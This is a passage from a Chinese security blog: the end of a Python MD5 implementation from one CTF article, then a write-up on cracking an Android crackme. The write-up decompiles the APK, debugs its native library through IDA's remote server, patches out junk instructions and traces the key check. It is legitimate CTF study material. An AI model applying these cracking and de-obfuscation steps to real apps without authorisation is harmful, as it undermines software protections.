    #mystring = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    myord =map(ord, mystring);#转化成为16进制的array
    myord_length = len(myord) * 8;
    myord.append(0x80);

    while (len(myord) * 8 + 64 )% 512 != 0:
        myord.append(0x00);


    #第二步增加长度
    myord_length = myord_length % (2 ** 64);
    
    myord_length = hex(myord_length);
    
    myord_length = myord_length[2:len(myord_length)-1].rjust(16, '0');
    
    myord_length = [int(format(myord_length[i:i+2]), 16) for i in xrange(0, len(myord_length), 2)][::-1]
    
    myord.extend(myord_length)


    #对每一个512位做处理
    A = 0x67452301
    B = 0xefcdab89
    C = 0x98badcfe
    D = 0x10325476

    F = lambda x,y,z:((x&y)|((~x)&z))  
    G = lambda x,y,z:((x&z)|(y&(~z)))  
    H = lambda x,y,z:(x^y^z)  
    I = lambda x,y,z:(y^(x|(~z)))  

    T_func = lambda i: int(4294967296*abs(math.sin(i))) & 0xffffffff

    T = [T_func(i) for i in xrange(1, 65)]
    T.insert(0 , 0)#错误的位置

    for i in xrange(0, len(myord) / 64):
        INPUT_A = A
        INPUT_B = B
        INPUT_C = C
        INPUT_D = D
        
        M = [ (myord[i * 64 + j + 3] <<24) +  (myord[i * 64 + j + 2] << 16 )+ (myord[i * 64 + j + 1] << 8) + (myord[i * 64 + j + 0] )\
             for j in xrange(0, 64, 4)]

        def shift(a, count):
            return (((a << count) | (a >> (32 -count)))&0xffffffff)
        
        #第一轮
        A = (B+ shift((A+F(B,C,D)+M[0]+T[1]) &0xffffffff,7) ) & 0xffffffff
        D = (A+shift((D+F(A,B,C)+M[1]+T[2]) &0xffffffff ,12) )& 0xffffffff
        C = (D+shift((C+F(D,A,B)+M[2]+T[3]) &0xffffffff,17) ) &0xffffffff

        B = (C+shift((B+F(C,D,A)+M[3]+T[4]) &0xffffffff,22) )&0xffffffff

        A = (B+shift((A+F(B,C,D)+M[4]+T[5]) &0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[5]+T[6])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[6]+T[7]) &0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[7]+T[8]) &0xffffffff,22) )&0xffffffff 
        A = (B+shift((A+F(B,C,D)+M[8]+T[9])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[9]+T[10])&0xffffffff,12) )&0xffffffff
        C = (D+shift((C+F(D,A,B)+M[10]+T[11])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[11]+T[12])&0xffffffff,22) )&0xffffffff
        A = (B+shift((A+F(B,C,D)+M[12]+T[13])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[13]+T[14])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[14]+T[15])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[15]+T[16])&0xffffffff,22) )&0xffffffff
 
        #第二轮
        A = (B+shift((A+G(B,C,D)+M[1]+T[17])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[6]+T[18]) &0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[11]+T[19])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[0]+T[20])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[5]+T[21])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[10]+T[22])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[15]+T[23])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[4]+T[24])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[9]+T[25])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[14]+T[26])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[3]+T[27])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[8]+T[28])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[13]+T[29])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[2]+T[30])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[7]+T[31])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[12]+T[32])&0xffffffff,20))&0xffffffff

        #第三轮
        A = (B+shift((A+H(B,C,D)+M[5]+T[33])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[8]+T[34])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[11]+T[35])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[14]+T[36])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[1]+T[37])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[4]+T[38])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[7]+T[39])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[10]+T[40])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[13]+T[41])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[0]+T[42])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[3]+T[43])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[6]+T[44])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[9]+T[45])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[12]+T[46])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[15]+T[47])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[2]+T[48])&0xffffffff,23))&0xffffffff

        #第四轮

        A = (B+shift((A+I(B,C,D)+M[0]+T[49])&0xffffffff,6) )&0xffffffff
        D = (A+shift((D+I(A,B,C)+M[7]+T[50])&0xffffffff,10) )&0xffffffff
        C = (D+shift((C+I(D,A,B)+M[14]+T[51])&0xffffffff,15) )&0xffffffff
        B = (C+shift((B+I(C,D,A)+M[5]+T[52])&0xffffffff,21) )&0xffffffff
        A = (B+shift((A+I(B,C,D)+M[12]+T[53])&0xffffffff,6) )&0xffffffff
        D = (A+shift((D+I(A,B,C)+M[3]+T[54])&0xffffffff,10) )&0xffffffff
        C = (D+shift((C+I(D,A,B)+M[10]+T[55])&0xffffffff,15) )&0xffffffff
        B = (C+shift((B+I(C,D,A)+M[1]+T[56])&0xffffffff,21) )&0xffffffff
        A = (B+shift((A+I(B,C,D)+M[8]+T[57])&0xffffffff,6) )&0xffffffff
        D = (A+shift((D+I(A,B,C)+M[15]+T[58])&0xffffffff,10) )&0xffffffff
        C = (D+shift((C+I(D,A,B)+M[6]+T[59])&0xffffffff,15) )&0xffffffff
        B = (C+shift((B+I(C,D,A)+M[13]+T[60])&0xffffffff,21) )&0xffffffff
        A = (B+shift((A+I(B,C,D)+M[4]+T[61])&0xffffffff,6) )&0xffffffff
        D = (A+shift((D+I(A,B,C)+M[11]+T[62])&0xffffffff,10) )&0xffffffff
        C = (D+shift((C+I(D,A,B)+M[2]+T[63])&0xffffffff,15) )&0xffffffff
        B = (C+shift((B+I(C,D,A)+M[9]+T[64])&0xffffffff,21))&0xffffffff
        A = (A + INPUT_A) & 0xffffffff
        B = (B + INPUT_B) & 0xffffffff
        C = (C + INPUT_C) & 0xffffffff
        D = (D + INPUT_D) & 0xffffffff
        
    def show_result(A, B, C, D):
        result = "";
        mya = [hex(A)[2:len(hex(A)[2:]) if hex(A).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myb = [hex(B)[2:len(hex(B)[2:]) if hex(B).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myc = [hex(C)[2:len(hex(C)[2:]) if hex(C).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myd = [hex(D)[2:len(hex(D)[2:]) if hex(D).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        return ''.join(mya + myb + myc + myd)
    return show_result(A, B, C, D);
    

4)结语

在做ctf题目的时候加强对原理的理解,和动手实践,文字总结的方式可以帮助记忆。

参考文献:

【1】http://blog.csdn.net/adidala/article/details/28677393

【2】https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf

【3】http://www.freebuf.com/articles/web/69264.html

*本文原创作者:Guilty and Innocent,本文属FreeBuf原创奖励计划,未经许可禁止转载 

概述

题目入口:http://ctf.pediy.com/game-fight-36.htm

本题是安卓cm,目测肯定需要调试so。

准备工具:

  1. ApkIde改之理(其他类似的也行,能够反编译apk,得到jar,so等)
  2. IDA(用于调试so),需要6.x以上,忘了是x几,我用的6.6
  3. adb(ApkIde改之理就有)

反编译

将6-Ericky kanxue.apk拖进ApkIDE改之理,等待编译(没有加壳),ok。

在右侧树结构栏中,找到smali->android->com->miss->rfchen,列表中就是java层的主要函数。

点击MainActivity.smali,然后点击工具栏中jd-gui.exe,抓到java源码查看。

public class MainActivity extends Activity
{
  private EditText ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ = null;
  private Button ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ = null;

  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968603);
    this.ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ = ((Button)findViewById(2131427415));
    this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ = ((EditText)findViewById(2131427416));
    this.ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ.setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramView)
      {
        MainActivity.this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ();
      }
    });
  }

  public void ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ()
  {
    String str = this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ.getText().toString().trim();
    StringBuilder localStringBuilder = new StringBuilder();
    localStringBuilder.append(str);
    if (utils.check(localStringBuilder.toString().trim()))
    {
      Toast.makeText(this, MainActivity.1.utils.dbcb("뙩あ嵓ﳈ"), 0).show();
      return;
    }
    Toast.makeText(this, MainActivity.1.utils.dbcb("뙸ぞ崌ﳯ�຿핣�晌鬗㞕뵯"), 0).show();
  }
}

这混淆的函数名我也是醉了,但这都不重要。输入key之后,然后点击按钮,进入OnClick,调用了上面代码中第二个函数(什么?我怎么知道的,因为它们哪个…点号…的函数名相同!!)。

然后调用了utils.check来验证,成功提示!这里成功和错误提示的字符串做过变换,通过utils.dbcb解密,不细看了,不重要!

进入utils.java,看到加载了so,调用的是这个so的导出函数,看反编译目录lib/armeabi-v7a(只提供了arm的so,要有个x86的好了),知道这个so是librf-chen.so

//典型的NDK调用,查查就知道了!
package com.miss.rfchen;

public class utils
{
  static
  {
    System.loadLibrary(MainActivity.1.utils.dbcb("ᐲེ雒�蹬"));
  }

  public static native boolean check(String paramString);
}

那么重点来了,要分析librf-chen.so的check函数,才能搞定此题。

准备调试

早上提前学习了一下so调试方法,找到了看雪安卓大神的教程,就是参考中的IDA动态调试技术,然后用上了,很好用!

跟着走

下面开始照着做。

  1. 连上手机(或者模拟器),使用adb devices看看成功连上没有
  2. adb push ../dbgsrv/android_server /sdcard/sv,教程是直接放入/data/data,一般权限不够
  3. 然后进入shell,adb shell,输入su,获得root权限,然后cp /sdcard/sv /data/data/sv
  4. 修改sv权限,chmod 777 /data/data/sv
  5. 运行sv,/data/data/sv,默认监听到23946端口,Listening on port #23946。这步有个细节,不能直接adb shell /data/data/sv,这样权限不够,无法读取到进程信息,需要adb shell; su; /data/data/sv
  6. 再开一个cmd,然后运行adb forward tcp:23946 tcp:23946
  7. 运行一个idaq.exe,然后在菜单debugger->attach->remote Armlinux/android debugger,输入localhost, 23946,ok
  8. 弹出进程框,按下Alt+T,输入chen,搜索到1808 [32] com.miss.rfchen,ok
  9. F9运行
\ApkIDEz>    .\adb.exe shell
shell@your phone:/ $ su
su
root@your phone:/ # /data/data/sv
/data/data/sv
IDA Android 32-bit remote debug server(ST) v1.17. Hex-Rays (c) 2004-2014

在界面中输入key,然后点击按钮,此时librf-chen.so才加载,然后ctrl+s,alt+t,输入librf找到librf-chen.so的基地址信息(记为base),记下来。

用另一个ida打开librf-chen.so,找到check导出函数的偏移地址00002814,计算base+00002814,然后g在IDA调试器中输入该地址,加上断点。

check(_JNIEnv *,_jclass *,_jstring *) 00002814

IDA基本调试快捷键和OD一样:

F9: 运行
F8: 步过
F7:步入

F9,跑起来,然后再次点击按钮,就断下来,进入了check。

下面就是跟和调试的过程了,看数据,看流程,分析算法!

arm汇编基础

得提前有个准备,看看arm指令,了解基本的指令,函数调用方式,下面列几个,更多的就看参考中的文章了

MOVS 同x86的mov
LDR 加载内存数据到寄存器
STR 寄存器数据存入内存
B/BL 跳转/函数调用
TST/CMP 比较
ADD/SUB 加/减

然后最主要的,函数调用的参数传递。arm默认使用的fastcall,通过r0,r1,r2,r3传递参数,超过4个参数,使用堆栈传递,r0也保存返回值。

关键点跟踪

在check断下之后,先是一段数据初始化,先滤过,然后blt sub_2874,进入关键函数

然后看到通过MOVS,STR将一些字符放入了内存。

.text:0000288A 000 01 60                                         STR             R1, [R0]
.text:0000288C 000 4A 20                                         MOVS            R0, #'J'
.text:0000288E 000 79 21                                         MOVS            R1, #'y'
.text:00002890 000 AD F8 22 00                                   STRH.W          R0, [SP,#arg_22]
.text:00002894 000 AD F8 24 10                                   STRH.W          R1, [SP,#arg_24]
.text:00002898 000 75 21                                         MOVS            R1, #'u'
.text:0000289A 000 AD F8 26 10                                   STRH.W          R1, [SP,#arg_26]
.text:0000289E 000 33 21                                         MOVS            R1, #'3'

接着就看让我恐惧的一幕,b loc_2898开始各种跳转,指令操作,然后刚跳完又是一个b xxx,接着各种跳转,毫无疑问,这是一段花指令了。

.text:0000289E                 B               loc_2898

花指令结构

经过多次跟踪,恶心到快吐的时候,终于看出话指令的基本结构了:

.text:00002BE8                 PUSH.W          {R4-R10,LR}
.text:00002BEC                 POP.W           {R4-R10,LR}
.text:00002BF0                 B               sub_2C1A                     ;开始
 PUSH.W          {R4-R10,LR}
.text:00002BEC BD E8 F0 47                                   POP.W           {R4-R10,LR}
.text:00002BF0 13 E0                                         B               sub_2C1A
 ---------------------------------------------------------------------------
.text:00002BF2 BD E8 F0 47                                   POP.W           {R4-R10,LR}
.text:00002BF6 05 E0                                         B               sub_2C04 ---------------------------------------------------------------------------
.text:00002BF8 00 F1 01 00                                   ADD.W           R0, R0, #1
.text:00002BFC 0A E0                                         B               loc_2C14 ---------------------------------------------------------------------------
.text:00002BFE 1B 46                                         MOV             R3, R3
.text:00002C00 0E E0                                         B               loc_2C20 =======================================
.text:00002C02 10 E0                                         B               sub_2C26 ;跳到快执行的位置 =======================================
.text:00002C04 B1 B5                                         PUSH            {R0,R4,R5,R7,LR}
.text:00002C06 01 E0                                         B               loc_2C0C ---------------------------------------------------------------------------
.text:00002C08 12 46                                         MOV             R2, R2
.text:00002C0A 01 E0                                         B               loc_2C10
.text:00002C0C 82 B0                                         SUB             SP, SP, #8
.text:00002C0E FB E7                                         B               loc_2C08 ---------------------------------------------------------------------------
.text:00002C10 02 B0                                         ADD             SP, SP, #8
.text:00002C12 F1 E7                                         B               loc_2BF8 ---------------------------------------------------------------------------
.text:00002C14 A0 F1 01 00                                   SUB.W           R0, R0, #1
.text:00002C18 F1 E7                                         B               loc_2BFE =======================================
.text:00002C1A 2D E9 F0 47                                   PUSH.W          {R4-R10,LR}
.text:00002C1E E8 E7                                         B               loc_2BF2 ---------------------------------------------------------------------------
.text:00002C20 BD E8 B1 40                                   POP.W           {R0,R4,R5,R7,LR}
.text:00002C24 ED E7                                         B               sub_2C02 =======================================
.text:00002C26 2D E9 F0 47                                   PUSH.W          {R4-R10,LR}
.text:00002C2A BD E8 F0 47                                   POP.W           {R4-R10,LR}
.text:00002C2E FF E7                                         B               sub_2C30 ;进入有效代码,一般是接着的地址

.text:00002C30                 PUSH            {R0,R4,R5,R7,LR} ;开始一般会有一段对称没啥作用的话指令
.text:00002C32                 SUB             SP, SP, #8
.text:00002C34                 MOV             R2, R2
.text:00002C36                 ADD             SP, SP, #8
.text:00002C38                 ADD.W           R0, R0, #1
.text:00002C3C                 SUB.W           R0, R0, #1
.text:00002C40                 MOV             R3, R3
.text:00002C42                 POP.W           {R0,R4,R5,R7,LR}
.text:00002C46                 ADD.W           R1, R1, #1
.text:00002C4A                 SUB.W           R1, R1, #1
.text:00002C4E                 STRH.W          R0, [SP,#arg_30]
.text:00002C52                 MOVS            R0, #0x44
.text:00002C54                 PUSH.W          {R4-R10,LR}
.text:00002C58                 POP.W           {R4-R10,LR}
.text:00002C5C                 B               sub_2C86

特征:

  1. 每跳转一个分支,基本都要一段花(记为A段),就是从上面代码中注释开始的问题
  2. 进行几个跳转后,到了结束位置,跳入有效代码
  3. 有效代码开头一般也有加一段花(记为B段)
  4. 在A段话指令中,指令地址是向下增长的,也就是A开始往下拉一段,就能找到结束位置
  5. B端一般无跳转,但是对称代码有多又少

所以根据特征,去除话指令也挺方便,我使用的IDA的patch功能手工去花的,脚本牛可以写个脚本。

所有花指令填充的00 bf(NOP),然后就可以F5了。

关键点跟踪2

然后接着调试跟踪。

接着上面,后续会接着向该段内存填充字符(非直接填充,还有个段算法,根据初始话的0×20的值来做的),我没有仔细跟踪算法了,通过对些内存关键点下断,然后跳出循环位置下断,下面0000357A就是循环位置,如此多次之后,循环结束。

.text:00003576 000 B4 F1 FF 3F                                   CMP.W           R4, #0xFFFFFFFF
.text:0000357A 000 3F F7 74 AD                                   BGT.W           loc_3066

查看该内存数据:

5F019020 4A 00 79 00 75 00 33 00  43 00 4A 00 6C 00 56 00  J.y.u.3.C.J.l.V.
 5F019030 44 00 53 00 47 00 51 00  21 00 0A 00 00 00 00 00  D.S.G.Q.!.......

接着跳过一段花之后,调用了bl sub_19FC,跟入,发现结果和刚才那段基本一直,也是将字符写入内存,并且内存就是刚才那段,只是每次都有一个1偏移。

.text:0000364A 000 FE F7 D7 F9                                   BL              sub_19FC
...
librf_chen.so:5EFFB52E                 ORR.W           R3, LR, R2,LSL#1
librf_chen.so:5EFFB532                 LDRB.W          R0, [R8,R5,LSL#1]
librf_chen.so:5EFFB536                 ADDS            R2, #1
librf_chen.so:5EFFB538                 STRB.W          R0, [R12,R3] ;也是前面的位置,但是加了个1偏移

同样,结束之后,查看内存,通过后面分析,知道这段字符就是key加密变换之后要对比的字符串。

5ED12020  4A 50 79 6A 75 70 33 65  43 79 4A 6A 6C 6B 56 36  JPyjup3eCyJjlkV6
5ED12030  44 6D 53 6D 47 48 51 3D  21 21 0A 0A 00 00 00 00  DmSmGHQ=!!......

子过程返回之后,接着b进入另一段。调了这么久,我们输入的key去哪里了?下面来了!

text:00003680 000 D9 F8 00 00                                   LDR.W           R0, [R9] 之前传入的参_JNIEnv
.text:00003684 000 41 46                                         MOV             R1, R8 之前传入的参数,_jclass
.text:00003686 000 00 22                                         MOVS            R2, #0
.text:00003688 000 00 24                                         MOVS            R4, #0
.text:0000368A 000 D0 F8 A4 32                                   LDR.W           R3, [R0,#0x2A4] libdvm.so:_Z20dvmDecodeIndirectRefP6ThreadP8_jobject+F55
.text:0000368E 000 48 46                                         MOV             R0, R9 this指针
.text:00003690 000 98 47                                         BLX             R3 libdvm.so:_Z20dvmDecodeIndirectRefP6ThreadP8_jobject+F55,返回输入的key的内存

先来看看check接口:

check(_JNIEnv *,_jclass *,_jstring *) 00002814

check参数在刚进入就被保存了,现在在00003680位置取出来,返回了我们输入的key到R0中(看注释)。

5DC4BEC0  31 32 33 34 35 36 00 40  10 00 00 00 4B 00 00 00  123456.@....K...

然后,又调用了一个子过程来处理key,我这里先没有跟入,直解F8,看了返回值

.text:00003792 000 16 F0 09 FB                                   BL              sub_19DA8
.text:00003796 000 01 46                                         MOV             R1, R0  ; key
.text:00003798 000 DF F8 A4 04                                   LDR.W           R0, =(unk_20020 - 0x38D2)
65 4B 2F 30 36 38 71 52  00 00 00 00 C0 BE C4 5D  eK/068qR

基本确认是加密函数,然后又把该结果和JPyjup3eCyJjlkV6DmSmGHQ=!!进行对比。

.text:000038CE 000 78 44                                         ADD             R0, PC ; 保存了JPyjup3eCyJjlkV6DmSmGHQ=!!
.text:000038D0
.text:000038D0                                   AGAIN_18                                ; CODE XREF: sub_2874+10D
.text:000038D0 000 0A 5D                                         LDRB            R2, [R1,R4];R1保存了eK/068qR 取出一个字符
.text:000038D2 000 03 5D                                         LDRB            R3, [R0,R4];取出一个字符
.text:000038D4 000 93 42                                         CMP             R3, R2
.text:000038D6 000 40 F0 6B 80                                   BNE.W           loc_39B0 ; jmp 3A1A
.text:000038DA 000 01 34                                         ADDS            R4, #1

.text:00003942 000 18 2C                                         CMP             R4, #0x18
.text:00003944 000 C4 D1                                         BNE             AGAIN_18

.text:000039AC 000 01 20                                         MOVS            R0, #1
.text:000039AE 000 3B E1                                         B               loc_3C28

.text:00003A86 000 00 28                                         CMP             R0, #0
.text:00003A88 000 00 F0 67 80                                   BEQ.W           TAG_FAILED
.text:00003C26 000 00 20                                         MOVS            R0, #0

取出一个字符进行比较,不同则跳转,相同R4加1,继续比价直到超过0×18(也就是加密结果长度0×18),都相同了R0=1

看看不同时跳转的代码,sub_27C8是一个类似鱼strstr的代码,我本以为加密之后结果可以部分匹配也行,结果我错了,作者坑人,因为这个sub_27C8就算返回1,也就是部分匹配成功了,也会进入00003C26,R0=0。

.text:00003A1A 000 78 44                                         ADD             R0, PC  ; result
.text:00003A1C 000 FE F7 D4 FE                                   BL              sub_27C8 ; 在result中找key,找到匹配的一段,返回匹配位置,否则返回0

所以加密结果必须是0×18,和JPyjup3eCyJjlkV6DmSmGHQ=!!完全匹配(0×18字节)

算法

现在重新跟入加密子过程sub_19DA8,看看是怎么个算法。

.text:00019DA8                                   sub_19DA8                      ; CODE XREF: sub_2874+F1E
.text:00019DA8
.text:00019DA8                                   var_10          = -0x10
.text:00019DA8
.text:00019DA8 000 2D E9 F0 43                                   PUSH.W          {R4-R9,LR}
.text:00019DAC 01C 03 AF                                         ADD             R7, SP, #0xC
.text:00019DAE 01C AD F5 81 6D                                   SUB.W           SP, SP, #0x408
.text:00019DB2 424 81 B0                                         SUB             SP, SP, #4
.text:00019DB4 428 81 46                                         MOV             R9, R0
.text:00019DB6 428 DF F8 5C 05                                   LDR.W           R0, =(__stack_chk_guard_ptr - 0x19DBE)
.text:00019DBA 428 78 44                                         ADD             R0, PC ; __stack_chk_guard_ptr
.text:00019DBC 428 00 68                                         LDR             R0, [R0] ; __stack_chk_guard
.text:00019DBE 428 00 68                                         LDR             R0, [R0]
.text:00019DC0 428 47 F8 10 0C                                   STR.W           R0, [R7,#var_10]
.text:00019DC4 428 00 F0 AA FA                                   BL              sub_1A31C ;
.text:00019DC4                                                                           ; 返回199319124851!
.text:00019DC8 428 80 46                                         MOV             R8, R0
.text:00019DCA 428 48 46                                         MOV             R0, R9

先通过sub_1A31C子函数返回了一串字符199319124851!,算法和生成JPyjup3eCyJjlkV6DmSmGHQ=!!字符类似,不再细说。

.text:00019F80 428 20 46                                         MOV             R0, R4  ; size
.text:00019F82 428 E7 F7 14 EC                                   BLX             malloc //分配内存来保存第一次加密结果
.text:00019F86 428 21 46                                         MOV             R1, R4
.text:00019F88 428 05 46                                         MOV             R5, R0
text:00019FF0 428 E7 F7 E2 EB                                   BLX             __aeabi_memclr;清零
.text:00019FF4 428 6C 46                                         MOV             R4, SP
.text:00019FF6 428 08 21                                         MOVS            R1, #8  ; a2
.text:00019FF8 428 20 46                                         MOV             R0, R4  ; result
.text:00019FFA 428 42 46                                         MOV             R2, R8  ; str

.text:0001A0C8 428 EB F7 8C FA                                   BL              sub_55E4 ; str = "199310124851!"
.text:0001A0C8                                                                           ; a2 长度+2
.text:0001A0CC 428 20 46                                         MOV             R0, R4  ; p
.text:0001A0CE 428 31 46                                         MOV             R1, R6  ; key_len
.text:0001A0D0 428 4A 46                                         MOV             R2, R9  ; key
.text:0001A0D2 428 2B 46                                         MOV             R3, R5  ; pKeyResult

然后分配了一段内存,用于保存第一次加密的key结果。 调用sub_55E4,将199310124851!通过变换放入一个8字节+0×100*4的数组(初始化为0-0×100)空间,挺绕的,由于这个函数跟key没有多大关系,所以咩必要细究是怎么做的,可以直接将计算后内存dump出来用后面的逆运算(其实我没用上)。

